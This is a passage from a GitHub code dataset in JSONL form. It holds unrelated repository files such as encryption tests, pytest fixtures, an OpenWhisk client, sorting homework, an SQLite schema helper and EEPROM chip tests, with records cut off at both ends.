cipher1.load_pair_public_key(cipher2.get_key())\n cipher2.load_pair_public_key(cipher1.get_key())\n # Exchange messages and check if they are the same\n message = \"Buenas tardes Dani y Enrique!\".encode(\"utf-8\")\n encrypted_message1 = cipher1.encrypt(message)\n encrypted_message2 = cipher2.encrypt(message)\n decrypted_message1 = cipher2.decrypt(encrypted_message1)\n decrypted_message2 = cipher1.decrypt(encrypted_message2)\n assert message == decrypted_message1\n assert message == decrypted_message2\n\n\n#############################\n# AES Encryption Test #\n#############################\n\n\ndef test_aes_encryption_decription1():\n cipher = AESCipher()\n message = \"zzZZZZ!\"\n encoded_mesage = cipher.add_padding(message.encode(\"utf-8\"))\n encrypted_message = cipher.encrypt(encoded_mesage)\n decrypted_message = cipher.decrypt(encrypted_message)\n decoded_message = \" \".join(decrypted_message.decode(\"utf-8\").split())\n assert message == decoded_message\n\n\ndef test_aes_encryption_decription2():\n cipher1 = AESCipher()\n cipher2 = AESCipher(key=cipher1.get_key())\n message = \"balb l ablab alb a lbalabla bal\"\n encoded_mesage = cipher1.add_padding(message.encode(\"utf-8\"))\n encrypted_message = cipher1.encrypt(encoded_mesage)\n decrypted_message = cipher2.decrypt(encrypted_message)\n decoded_message = decrypted_message.decode(\"utf-8\")\n assert message.split() == decoded_message.split()\n\n\ndef test_aes_encryption_decription_model():\n cipher = AESCipher()\n nl = LightningLearner(MLP(), None)\n encoded_parameters = nl.encode_parameters()\n\n messages = CommunicationProtocol.build_params_msg(encoded_parameters)\n\n encrypted_messages = [cipher.encrypt(cipher.add_padding(x)) for x in messages]\n decrypted_messages = [cipher.decrypt(x) for x in encrypted_messages]\n\n for i in range(len(messages)):\n assert messages[i] == decrypted_messages[i]\n","repo_name":"Cyber-Tracer/FedStellar-topo-manipulation","sub_path":"test/encryption_test.py","file_name":"encryption_test.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26200553495","text":"from logging import getLogger\nfrom socket import socket, AF_INET, SOCK_STREAM\n\nimport mongomock\nimport pytest\nimport yaml\nfrom falcon.testing import TestClient\nfrom pytest_data.functions import get_data\n\nfrom snooze.core import Core, MAIN_THREADS\nfrom snooze.db.database import Database, get_database\nfrom snooze.utils.config import Config\n\nlog = getLogger('tests')\n\nDEFAULT_CONFIG = {\n 'core': {\n 'database': {'type': 'mongo', 'host': 'localhost', 'port': 27017},\n 'socket_path': './test.socket',\n 'init_sleep': 0,\n 'stats': False,\n 'backup': {'enabled': False},\n 'ssl': {'enabled': False},\n },\n}\n\ndef write_data(db, request):\n '''Write data fetch with get_data(request, 'data') to a database'''\n data = get_data(request, 'data', {})\n for collection in db.db.list_collection_names():\n db.db[collection].drop()\n for key, value in data.items():\n db.write(key, value)\n\n@pytest.fixture(name='port', scope='function')\ndef fixture_port() -> int:\n '''A fixture that returns an open port'''\n sock = socket(AF_INET, SOCK_STREAM)\n sock.bind(('', 0))\n port = sock.getsockname()[1]\n sock.close()\n return port\n\n@pytest.fixture(name='config', scope='function')\ndef fixture_config(port, tmp_path, request) -> Config:\n '''Fixture for writable configuration files returning a Config'''\n configs = {**DEFAULT_CONFIG, **get_data(request, 'configs', {})}\n configs['port'] = port\n\n for section, data in configs.items():\n path = tmp_path / f\"{section}.yaml\"\n path.write_text(yaml.dump(data), encoding='utf-8')\n\n return Config(tmp_path)\n\n@pytest.fixture(name='db', scope='function')\n@mongomock.patch('mongodb://localhost:27017')\ndef fixture_db(config, request) -> Database:\n '''Fixture returning a mocked mongodb Database'''\n database = get_database(config.core.database)\n write_data(database, request)\n return database\n\n@pytest.fixture(name='core', scope='function')\n@mongomock.patch('mongodb://localhost:27017')\ndef fixture_core(config, request) -> Core:\n '''Fixture returning a Core'''\n allowed_threads = get_data(request, 'allowed_threads') or MAIN_THREADS\n core = Core(config.basedir, allowed_threads)\n write_data(core.db, request)\n return core\n\n@pytest.fixture(name='api', scope='function')\ndef fixture_api(core):\n '''Fixture returning an Api'''\n return core.api\n\n@pytest.fixture(name='client', scope='function')\ndef fixture_client(api, request):\n '''Fixture returning a falcon TestClient'''\n token = api.get_root_token()\n log.debug(\"Token obtained from get_root_token: %s\", token)\n headers = {'Authorization': f\"JWT {token}\"}\n client = TestClient(api.handler, headers=headers)\n data = get_data(request, 'data', {})\n for collection, items in data.items():\n api.core.db.db[collection].drop()\n client.simulate_post(f\"/api/{collection}\", json=items)\n return client\n","repo_name":"snoozeweb/snooze","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"7"} +{"seq_id":"70393068064","text":"#!/usr/bin/python\n\nimport sys\n\n# gaf from stdin\n# colors from args pj13=red dj13=lightred etc\n# multialn from pj13+dj13=pink etc\n# latter in argument list has priority\n\ncolor_priority = []\n\nfor arg in sys.argv[1:]:\n\tparts = arg.strip().split('=')\n\tkey = set(parts[0].split(\"+\"))\n\tcolor_priority.append((key, parts[1]))\n\nnode_covers = {}\n\nfor l in sys.stdin:\n\tparts = l.strip().split('\\t')\n\tpathnodes = parts[5].replace('>', '\\t').replace('<', '\\t').split('\\t')\n\tname = parts[0].split(' ')[0]\n\tfor node in pathnodes:\n\t\tif node not in node_covers: node_covers[node] = set()\n\t\tnode_covers[node].add(name)\n\nprint(\"Node,Alignment,Colour\")\nfor n in node_covers:\n\tbest = (\"\", \"\")\n\tfor pair in color_priority:\n\t\tif pair[0].issubset(node_covers[n]):\n\t\t\tbest = pair\n\tprint(n + \",\" + \"+\".join(best[0]) + \",\" + best[1])\n","repo_name":"maickrau/rdna_resolution","sub_path":"scripts/color_csv_from_gaf.py","file_name":"color_csv_from_gaf.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"28276585114","text":"# 8-14. Cars: Write a function that stores information about a car in a\n# dictionary. The function should always receive a manufacturer and a model\n# name. It should then accept an arbitrary number of keyword arguments. Call\n# the function with the required information and two other name-value pairs,\n# such as a color or an optional feature. Your function should work for a\n# call like this one: car = make_car('subaru', 'outback', color='blue',\n# tow_package=True) Print the dictionary that’s returned to make sure all the\n# information was stored correctly.\n\n\ndef car_info(manufacturer, model, **other_info):\n \"\"\"\n Build a car profile containing its manufacturer,\n model name and some other information\n \"\"\"\n car = {\n \"manufacturer\": manufacturer,\n \"model\": model,\n }\n for key, value in other_info:\n car[key] = value\n return car\n\n\ncar = car_info(\"BMW\", \"z4\", color=\"red\", energy=\"gasoline\")\n\nprint('This is all the information we have in profile: ')\nfor key, value in car.items():\n print(key.title() + \": \" + value.title())\n","repo_name":"shaoda06/python_work","sub_path":"Part_I_Basics/exercises/exercise_8_14_cars.py","file_name":"exercise_8_14_cars.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"70398319263","text":"A, B = (int(x) for x in input().split())\n\nclass GcdLcm:\n def __init__(self, A, B):\n self.a = A\n self.b = B\n\n def GCD(self):\n large = max(self.a, self.b)\n small = min(self.a, self.b)\n\n while True:\n mod = large%small\n if mod != 0:\n large = max(mod, small)\n small = min(mod, small)\n else:\n if small != 0:\n gcd = small\n else:\n gcd = large\n return gcd\n break\n \n def LCM(self):\n gcd = self.GCD()\n lcm = self.a * self.b / gcd\n return lcm\n \n def __str__(self):\n gcd = self.GCD()\n lcm = self.LCM()\n return '{}\\n{}'.format(str(gcd),str(int(lcm)))\n\ngcd_lcm = GcdLcm(A,B)\nprint(gcd_lcm)\n","repo_name":"justinjhjung/st_algorithm","sub_path":"math/GcdLcm.py","file_name":"GcdLcm.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"74658494303","text":"from decouple import config\n\n\ndef get_alphabet(name=\"basic\"):\n \"\"\"Create specified alphabet\n\n Args:\n name: string. Name of the alphabet to create.\n\n Returns:\n alphabet: list. List containing all characters from specified alphabet.\n \"\"\"\n if name == \"basic\":\n alphabet = basic()\n elif name == \"basic-lower\":\n alphabet = basic_lower()\n elif name == \"ascii\":\n alphabet = ascii()\n elif name == \"ascii-lower\":\n alphabet = ascii_lower()\n else:\n raise Exception(f\"alphabet name {name} unknown\")\n\n return alphabet\n\n\ndef basic():\n \"\"\"Get basic alphabet for English character set\n with leading special char to encode partial decryptions\"\"\"\n alphabet = \"\".join([chr(i) for i in range(65, 123) if i not in range(91, 97)])\n alphabet = chr(config(\"SPECIAL_CHAR\", cast=int)) + alphabet\n return alphabet\n\n\ndef basic_lower():\n \"\"\"Get basic alphabet for lowercase English character set\n with leading special char to encode partial decryptions\"\"\"\n\n alphabet = \"\".join([chr(i) for i in range(97, 123)])\n alphabet = chr(config(\"SPECIAL_CHAR\", cast=int)) + alphabet\n return alphabet\n\n\ndef ascii():\n \"\"\"Get alphabet for ASCI character set\n with leading special char to encode partial decryptions\"\"\"\n\n alphabet = \"\".join([chr(i) for i in range(128) if chr(i) != \" \"])\n alphabet = chr(config(\"SPECIAL_CHAR\", cast=int)) + alphabet\n return alphabet\n\n\ndef ascii_lower():\n \"\"\"Get alphabet for lowercase ASCI character set\n with leading special char to encode partial decryptions\"\"\"\n\n alphabet = \"\".join(\n [chr(i) for i in range(128) if i not in range(65, 91) and chr(i) != \" \"]\n )\n alphabet = chr(config(\"SPECIAL_CHAR\", cast=int)) + alphabet\n return alphabet\n","repo_name":"jaymoneyjay/spring21-automated-decryption","sub_path":"src/alphabet.py","file_name":"alphabet.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39649227324","text":"from flask_restful import Resource\nfrom amais.presentation.helpers.http_helper import created, not_found, unprocessable_entity\nfrom flask_restful import Resource, reqparse\nfrom amais.data.usecases.talk.create_talk_registration import CreateTalkRegistration\nfrom amais.utils.exceptions import Error\n\n\nclass CreateTalkRegistrationController(Resource):\n @ classmethod\n def post(cls, talk_id: int):\n try:\n parser = reqparse.RequestParser()\n parser.add_argument('name', type=str)\n parser.add_argument('cpf', type=str)\n\n args = parser.parse_args()\n\n CreateTalkRegistration.create(**args, talk_id=talk_id)\n\n return created(message='Cadastro efetuado com sucesso!', payload={})\n\n except Error as error:\n CASES = {\n 'TALK_NOT_FOUND': not_found(message='Palestra não encontrada.', payload={}),\n 'REGISTER_ALREADY_EXISTS': unprocessable_entity('Já existe uma inscrição para esse cpf.', payload={})\n }\n\n return CASES[error.title]\n","repo_name":"ONG-AMAIS/clean-api-amais","sub_path":"amais/presentation/controllers/talk/create_talk_registration_controller.py","file_name":"create_talk_registration_controller.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"7859318333","text":"# TO-DO: complete the helpe function below to merge 2 sorted arrays\ndef merge( arrA, arrB ):\n elements = len( arrA ) + len( arrB )\n merged_arr = [0] * elements\n i = j = 0\n index = 0\n\n # TO-DO\n while i < len(arrA) and j < len(arrB):\n if arrA[i] < arrB[j]:\n # print(\"This is arrA index\", arrA[i])\n merged_arr[index] = arrA[i]\n i += 1\n else:\n merged_arr[index] = arrB[j]\n j += 1\n \n index += 1\n while i < len(arrA):\n merged_arr[index] = arrA[i]\n i += 1\n index += 1\n while j < len(arrB):\n merged_arr[index] = arrB[j]\n j += 1\n index += 1\n \n print(merged_arr)\n return merged_arr\n\n\n# TO-DO: implement the Merge Sort function below USING RECURSION\ndef merge_sort( arr ):\n # TO-DO\n if len(arr) < 2:\n return arr\n else:\n m = int(len(arr)/2)\n arr1 = merge_sort(arr[:m])\n arr2 = merge_sort(arr[m:])\n \n return merge(arr1, arr2)\n\n \n\n\n# STRETCH: implement an in-place merge sort algorithm\ndef merge_in_place(arr, start, mid, end):\n # TO-DO\n\n return arr\n\ndef merge_sort_in_place(arr, l, r): \n # TO-DO\n\n return arr\n\n\n# STRETCH: implement the Timsort function below\n# hint: check out https://github.com/python/cpython/blob/master/Objects/listsort.txt\ndef timsort( arr ):\n\n return arr\n","repo_name":"sweetooth101/Sorting","sub_path":"src/recursive_sorting/recursive_sorting.py","file_name":"recursive_sorting.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"26883934456","text":"import os\r\n\r\n\r\ndef main():\r\n source_path = r'E:\\PHOTO_SOURCES\\SOURCES'\r\n source_files = os.listdir(source_path)\r\n for source_file in source_files:\r\n if source_file.endswith('.jpg'):\r\n print(source_file)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"IIaroslav/from_sources_to_rename","sub_path":"list_jpg_files.py","file_name":"list_jpg_files.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"29704482935","text":"#!/usr/bin/python3\n\"\"\" Module containing a function that multiplies 2 matrices\n\n6- task in python Test-driven development project\n\n\n\"\"\"\n\n\ndef matrix_mul(m_a, m_b):\n \"\"\" Function that returns the multiplication of two matrices\n Args:\n\n m_a (list of lists): first matrix\n m_b (list of lists): second matrix\n \"\"\"\n if type(m_a) is not list:\n raise TypeError(\"m_a must be a list\")\n if type(m_b) is not list:\n raise TypeError(\"m_b must be a list\")\n\n for rows_a in m_a:\n if type(rows_a) is not list:\n raise TypeError(\"m_a must be a list of lists\")\n\n for rows_b in m_b:\n if type(rows_b) is not list:\n raise TypeError(\"m_b must be a list of lists\")\n\n if (m_a == [] or m_a == [[]]):\n raise ValueError(\"m_a can't be empty\")\n if (m_b == [] or m_b == [[]]):\n raise ValueError(\"m_b can't be empty\")\n\n for rows_a in m_a:\n for nums in rows_a:\n if (type(nums) is not int and type(nums) is not float):\n raise TypeError(\"m_a should contain only integers or floats\")\n for rows_b in m_b:\n for nums in rows_b:\n if (type(nums) is not int and type(nums) is not float):\n raise TypeError(\"m_b should contain only integers or floats\")\n\n length_a = len(m_a[0])\n for rows in m_a:\n if len(rows) != length_a:\n raise TypeError(\"each row of m_a must be of the same size\")\n length_b = len(m_b[0])\n for rows in m_b:\n if len(rows) != length_b:\n raise TypeError(\"each row of m_b must be of the same size\")\n\n if len(m_a[0]) != len(m_b):\n raise ValueError(\"m_a and m_b can't be multiplied\")\n\n new_matrix = []\n new_row = []\n sum_a_b = 0\n for j in range(len(m_a)):\n for i in range(len(m_b[0])):\n for k in range(len(m_b)):\n sum_a_b += (m_a[j][k] * m_b[k][i])\n new_row.append(sum_a_b)\n sum_a_b = 0\n new_matrix.append(new_row)\n new_row = []\n\n return new_matrix\n","repo_name":"SantiagoHerreG/holbertonschool-higher_level_programming","sub_path":"0x07-python-test_driven_development/100-matrix_mul.py","file_name":"100-matrix_mul.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"23668693127","text":"#! /usr/bin/env python3\n\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nfrom matplotlib import pyplot as plt\nfrom multiprocessing import Pool\nimport sys\n\n\n# branching factor\nB = 3\n\n# number of states\nNUM_OF_STATES = 1000\n\n# compute time\nCOMPUTE_TIME = 5000\n\n# evaluate time\nEVAL_TIME = 10\n\n# runs\nRUNS = 30\n\n\nclass Environment:\n def __init__(self, b, num_of_states):\n self.num_of_states = num_of_states\n self.b = b\n\n self.num_of_actions = 2\n self.start_state, self.end_state = 0, num_of_states\n\n self.end_prob = 0.1\n\n # all equally likely transition to non-terminal state with prob = 0.9\n self.state_transition = np.random.randint(num_of_states, size=(num_of_states, self.num_of_actions, b))\n # expected rwd\n self.rwd_transition = np.random.randn(num_of_states, self.num_of_actions)\n\n def is_end(self, state):\n return state == self.end_state\n\n def sample(self, state, action):\n if self.is_end(state) or np.random.rand() < self.end_prob:\n return self.end_state, 0\n rwd = self.rwd_transition[state, action]\n next = np.random.randint(self.b)\n return self.state_transition[state, action, next], rwd\n\n\nclass DistributeUpdates:\n def __init__(self, env):\n self.env = env\n\n def argmax(self, value):\n max_v = np.max(value)\n return np.random.choice([a for a, v in enumerate(value) if v == max_v])\n\n def get_start_value(self, q):\n runs = 100\n start_state = self.env.start_state\n v = 0\n for run in range(1, runs):\n s = start_state\n ret = 0\n while not self.env.is_end(s):\n a = self.argmax(q[s, :])\n s, rwd = self.env.sample(s, a)\n ret += rwd\n v += (ret - v) / run\n return v\n\n @staticmethod\n def name():\n return \"DistributeUpdates\"\n\n def evaluate(self, compute_time, eval_time):\n raise NotImplementedError\n\n\nclass UniformUpdate(DistributeUpdates):\n def __init__(self, env):\n super().__init__(env)\n\n @staticmethod\n def name():\n return \"UniformUpdate\"\n\n def evaluate(self, compute_time, eval_time=10):\n num_of_states = self.env.num_of_states\n num_of_actions = self.env.num_of_actions\n non_terminal_prob = 1 - self.env.end_prob\n state_transition = self.env.state_transition\n rwd_transition = self.env.rwd_transition\n\n q = np.zeros((num_of_states, num_of_actions))\n total_pair = num_of_states * num_of_actions\n\n start_values = [0]\n\n time = 0; sa = 0\n while time < compute_time:\n s, a = sa % num_of_states, sa // num_of_states\n next_states = state_transition[s, a]\n q[s, a] = rwd_transition[s, a] + non_terminal_prob * np.mean(np.max(q[next_states, :], axis=1))\n sa = (sa+1) % total_pair; time += 1\n if time % eval_time == 0:\n start_values.append(self.get_start_value(q))\n return start_values\n\n\nclass TrajectorySampling(DistributeUpdates):\n def __init__(self, env):\n super().__init__(env)\n\n @staticmethod\n def name():\n return \"TrajectorySampling\"\n\n def ep_greedy_action(self, value, ep=0.1):\n if np.random.rand() < ep:\n return np.random.randint(len(value))\n return self.argmax(value)\n\n def evaluate(self, compute_time, eval_time=10): \n num_of_states = self.env.num_of_states\n num_of_actions = self.env.num_of_actions\n non_terminal_prob = 1 - self.env.end_prob\n start_state = self.env.start_state\n state_transition = self.env.state_transition\n rwd_transition = self.env.rwd_transition\n\n q = np.zeros((num_of_states, num_of_actions))\n\n start_values = [0]\n time = 0\n while time < compute_time:\n s = start_state\n while (not self.env.is_end(s)) and (time < compute_time):\n a = self.ep_greedy_action(q[s, :])\n next_states = state_transition[s, a]\n q[s, a] = rwd_transition[s, a] + non_terminal_prob * np.mean(np.max(q[next_states, :], axis=1))\n s, _ = self.env.sample(s, a)\n time += 1\n if time % eval_time == 0:\n start_values.append(self.get_start_value(q))\n return start_values\n\n\ndef run_in_process(algo_cls):\n env = Environment(B, NUM_OF_STATES)\n algo = algo_cls(env)\n\n return algo.evaluate(COMPUTE_TIME, EVAL_TIME)\n\n\ndef cal_avgs(algo_cls):\n avg_values = []\n args = [algo_cls] * RUNS\n with Pool(4) as pool:\n for i, values in enumerate(pool.imap_unordered(run_in_process, args)):\n avg_values.append(values)\n sys.stderr.write(f\"\\r{algo_cls.name()}: Runs completed: {i+1}\")\n print()\n return np.mean(avg_values, axis=0)\n\n\ndef main():\n uniform_start_state = cal_avgs(UniformUpdate)\n trajectory_start_state = cal_avgs(TrajectorySampling)\n time = list(range(0, COMPUTE_TIME+1, EVAL_TIME))\n\n fig = plt.figure()\n ax = fig.add_subplot(1, 1, 1)\n ax.plot(time, uniform_start_state, label=f\"uniform {B} branch\")\n ax.plot(time, trajectory_start_state, label=f\"trajectory {B} branch\")\n fig.suptitle(f\"Compare Trajectory Vs Uniform Sampling for {NUM_OF_STATES} states\")\n plt.xlabel(\"Computation time, in expected updates\")\n plt.ylabel(\"Values of start state under greedy policy\")\n plt.legend()\n plt.savefig('figure8_8_3.png')\n\n\nif __name__ == '__main__':\n main()\n\n\n\n\n\n","repo_name":"returaj/myrl","sub_path":"rl_sutton/chapter08/exercise8_8.py","file_name":"exercise8_8.py","file_ext":"py","file_size_in_byte":5569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"11284191308","text":"from typing import Dict, Iterator, List\n\nimport requests\nfrom requests.models import Response\n\n\nclass WskClient:\n DEFAULT_NS = 'guest'\n\n def __init__(self,\n url: str,\n username: str,\n password: str,\n ns: str=None) -> None:\n self.auth = (username, password)\n self.ns = ns if ns else self.DEFAULT_NS\n self.url = '{}/api/v1/namespaces/{}'.format(url, self.ns)\n\n @classmethod\n def from_config(cls, config: Dict) -> \"WskClient\":\n ow: Dict = config['openwhisk']\n return WskClient(\n url=ow['endpoint'],\n username=ow['auth']['username'],\n password=ow['auth']['password'],\n ns=ow['namespace'],\n )\n\n def create_action(self,\n name: str,\n runtime: str,\n code: str,\n main: str=None) -> Response:\n main = main if main else 'main'\n url = f'{self.url}/actions/{name}'\n r = requests.put(\n url,\n auth=self.auth,\n json={\n 'namespace': self.ns,\n 'name': name,\n 'exec': {\n 'kind': runtime,\n 'code': code,\n 'main': main,\n },\n 'publish': True,\n },\n params={'overwrite': 'true'},\n )\n return r\n\n def create_trigger(self, name: str) -> Response:\n url = f'{self.url}/triggers/{name}'\n r = requests.put(\n url,\n auth=self.auth,\n json={\n 'namespace': self.ns,\n 'name': name,\n 'publish': True,\n },\n params={'overwrite': 'true'},\n )\n return r\n\n def create_rule(self,\n name: str,\n trigger_name: str,\n action_name: str) -> Response:\n url = f'{self.url}/rules/{name}'\n r = requests.put(\n url,\n auth=self.auth,\n json={\n 'name': name,\n 'trigger': f'/_/{trigger_name}',\n 'action': f'/_/{action_name}',\n 'status': 'active',\n 'publish': True,\n },\n params={'overwrite': 'true'},\n )\n return r\n \n def delete_action(self, name: str) -> Response:\n url = f'{self.url}/actions/{name}'\n r = requests.delete(url, auth=self.auth)\n return r\n \n def delete_trigger(self, name: str) -> Response:\n url = f'{self.url}/triggers/{name}'\n r = requests.delete(url, auth=self.auth)\n return r\n \n def delete_rule(self, name: str):\n url = f'{self.url}/rules/{name}'\n r = requests.delete(url, auth=self.auth)\n return r\n\n def fire_trigger(self, name: str, args: Dict=None) -> Response:\n args = args if args else dict()\n url = f'{self.url}/triggers/{name}'\n r = requests.post(\n url,\n auth=self.auth,\n json=args,\n params={\n 'blocking': False,\n 'result': False,\n },\n )\n return r\n \n def invoke_action(self, name: str, args: Dict=None) -> Response:\n args = args if args else dict()\n url = f'{self.url}/actions/{name}'\n r = requests.post(\n url,\n auth=self.auth,\n json=args,\n params={\n 'blocking': False,\n 'result': False,\n },\n )\n return r\n \n def list_actions(self, limit=200, skip=0) -> Response:\n \"\"\"Returns list of action names (max limit: 200).\"\"\"\n url = f'{self.url}/actions'\n r = requests.get(\n url,\n auth=self.auth,\n params={\n 'limit': limit,\n 'skip': skip,\n },\n )\n return r\n \n def list_triggers(self, limit=200, skip=0) -> Response:\n \"\"\"Returns list of trigger names (max limit: 200).\"\"\"\n url = f'{self.url}/triggers'\n r = requests.get(\n url,\n auth=self.auth,\n params={\n 'limit': limit,\n 'skip': skip,\n },\n )\n return r\n \n def list_rules(self, limit=200, skip=0) -> Response:\n \"\"\"Returns list of rule names (max limit: 200).\"\"\"\n url = f'{self.url}/rules'\n r = requests.get(\n url,\n auth=self.auth,\n params={\n 'limit': limit,\n 'skip': skip,\n },\n )\n return r\n \n def action_paginator(self) -> \"WskPaginator\":\n return WskPaginator(client=self, resource='action')\n \n def trigger_paginator(self) -> \"WskPaginator\":\n return WskPaginator(client=self, resource='trigger')\n\n def rule_paginator(self) -> \"WskPaginator\":\n return WskPaginator(client=self, resource='rule')\n\n\nclass WskPaginator:\n def __init__(self, client: WskClient, resource: str) -> None:\n self.client = client\n\n if resource == 'action':\n self.list_method = self.client.list_actions\n elif resource == 'trigger':\n self.list_method = self.client.list_triggers\n elif resource == 'rule':\n self.list_method = self.client.list_rules\n else:\n raise AttributeError(\n f'No paginator found for resource {resource}.')\n \n def paginate(self) -> Iterator[str]:\n limit = 200\n skip = 0\n response = self.list_method(limit=limit, skip=skip)\n resources = [rsc['name'] for rsc in response.json()]\n while len(resources) == 200:\n for action in resources:\n yield action\n skip += 200\n resources = self.list_method(limit=limit, skip=skip)\n if len(resources) > 0:\n for action in resources:\n yield action","repo_name":"ferancona/raise-me","sub_path":"raise_me/wsk/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":6015,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"27423153024","text":"from typing import List, Optional\n\n\nclass SqliteType:\n text = 'TEXT'\n integer = 'INTEGER'\n boolean = 'BOOLEAN'\n real = 'REAL'\n\n\ndef sqlite_type(obj: object) -> str:\n obj_type = type(obj)\n if obj_type in (str, list, dict):\n return SqliteType.text\n elif obj_type == bool:\n return SqliteType.boolean\n elif obj_type == int:\n return SqliteType.integer\n elif obj_type == float:\n return SqliteType.real\n elif obj is None:\n raise TypeError('Cannot infer type from `None`.')\n else:\n raise TypeError('Unsupported type.')\n\n\ndef creation_sql(table_name: str, rows: List[dict], *, primary_key=None):\n definitions = []\n row = rows[0]\n for key, value in row.items():\n try:\n s_type = sqlite_type(value)\n except TypeError:\n s_type = None\n for row in rows:\n if row[key] is not None:\n s_type = sqlite_type(value)\n if s_type is None:\n s_type = SqliteType.text\n\n words = [key, s_type]\n if primary_key == key:\n words.append('PRIMARY KEY')\n column_definition = ' '.join(words)\n definitions.append(column_definition)\n sql = f'CREATE TABLE IF NOT EXISTS {table_name} ({\",\".join(definitions)})'\n return sql\n\n\ndef possible_primary_keys(rows: List[dict]) -> Optional[List[str]]:\n temp = {key: set()\n for key, value in rows[0].items() if isinstance(value, int)}\n for row in rows:\n out_keys = []\n for key, value in temp.items():\n new_value = row[key]\n if new_value in value:\n out_keys.append(key)\n else:\n value.add(new_value)\n for out_key in out_keys:\n del temp[out_key]\n if not temp:\n return None\n return list(temp.keys())\n","repo_name":"karanokk/umaster","sub_path":"umaster/jsqlite3/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32970376819","text":"import pytest\nimport random\nimport time\n\nfrom openeeprom.chip.basechip import BaseChip\nfrom openeeprom.chip.dummychip import DummyChip\nfrom openeeprom.transport.serial import SerialTransport\nfrom openeeprom.transport.dummy import DummyTransport \nfrom openeeprom.client import OpenEEPROMClient\nfrom openeeprom.chip.microchip25lc320 import MC25LC320\n\n\n@pytest.fixture\ndef chip() -> BaseChip:\n s = SerialTransport('/dev/ttyACM0', 115200)\n client = OpenEEPROMClient(s)\n device = MC25LC320()\n device.connect(client)\n return device \n\n\nclass TestChip:\n def test_write(self, chip):\n write_vals = [random.randint(0, 255) for i in range(chip.size)]\n \n start_time = time.time()\n write_count = chip.write(0, write_vals)\n end_time = time.time()\n assert(write_count == chip.size)\n print('---- Write time: %s seconds ----' % (end_time - start_time))\n\n def test_read(self, chip):\n start_time = time.time()\n read_vals = chip.read(0, chip.size)\n end_time = time.time()\n assert len(read_vals) == chip.size\n print('---- Read time: %s seconds ----' % (end_time - start_time))\n\n def test_erase(self, chip):\n start_time = time.time()\n chip.erase()\n end_time = time.time()\n read_vals = chip.read(0, chip.size)\n assert read_vals.count(0xFF) == chip.size\n print('---- Erase time: %s seconds ----' % (end_time - start_time))\n\n def test_write_read_erase(self, chip):\n write_vals = [random.randint(0, 255) for i in range(chip.size)]\n \n write_count = chip.write(0, write_vals)\n assert(write_count == chip.size)\n\n read_vals = chip.read(0, chip.size)\n assert write_vals == read_vals\n\n chip.erase()\n read_vals = chip.read(0, chip.size)\n assert read_vals.count(0xFF) == chip.size\n\n","repo_name":"davidday99/open-eeprom","sub_path":"tests/integration/test_chip.py","file_name":"test_chip.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"19878464383","text":"#questa funzione prende in ingresso una lista di lettere che rappresentano le frequenze di riferimento,\n# il path del testo cifrato \n# e restituisce una stringa contenente il testo decifrato e produce un file col testo decifrato\nimport freq_distr\n\ndef decryption_function(pathcifrato, frequenze):\n \n #apertura del file e inserimento del testo cifrato in una stringa\n input = open(pathcifrato,'r')\n txt = input.read()\n \n #creo la lista delle frequenze dei simboli del testo cifrato in ordine crescente\n list = freq_distr(pathcifrato)\n \n #ciclo di decifratura\n j=0\n for i in list:\n txt=txt.replace(i,frequenze[j])\n j=j+1\n \n #creazione del file di testo \n \n out=open(pathcifrato+'_decrip', 'w')\n out.write(txt)\n out.close()\n \n #restituisco la stringa\n return txt\n","repo_name":"giuseta/progetto_spli_5","sub_path":"decryption_function.py","file_name":"decryption_function.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"29319102630","text":"\n# all the crap that is stored on the rhn side of stuff\n# updating/fetching package lists, channels, etc\n\n\nfrom up2date_client import up2dateAuth\nfrom up2date_client import up2dateLog\nfrom up2date_client import rhnserver\nfrom up2date_client import pkgUtils\n\n\ndef logDeltaPackages(pkgs):\n log = up2dateLog.initLog()\n log.log_me(\"Adding packages to package profile: %s\" %\n pprint_pkglist(pkgs['added']))\n log.log_me(\"Removing packages from package profile: %s\" %\n pprint_pkglist(pkgs['removed']))\n\ndef updatePackageProfile(timeout=None):\n \"\"\" get a list of installed packages and send it to rhnServer \"\"\"\n log = up2dateLog.initLog()\n log.log_me(\"Updating package profile\")\n packages = pkgUtils.getInstalledPackageList(getArch=1)\n s = rhnserver.RhnServer(timeout=timeout)\n if not s.capabilities.hasCapability('xmlrpc.packages.extended_profile', 2):\n # for older satellites and hosted - convert to old format\n packages = 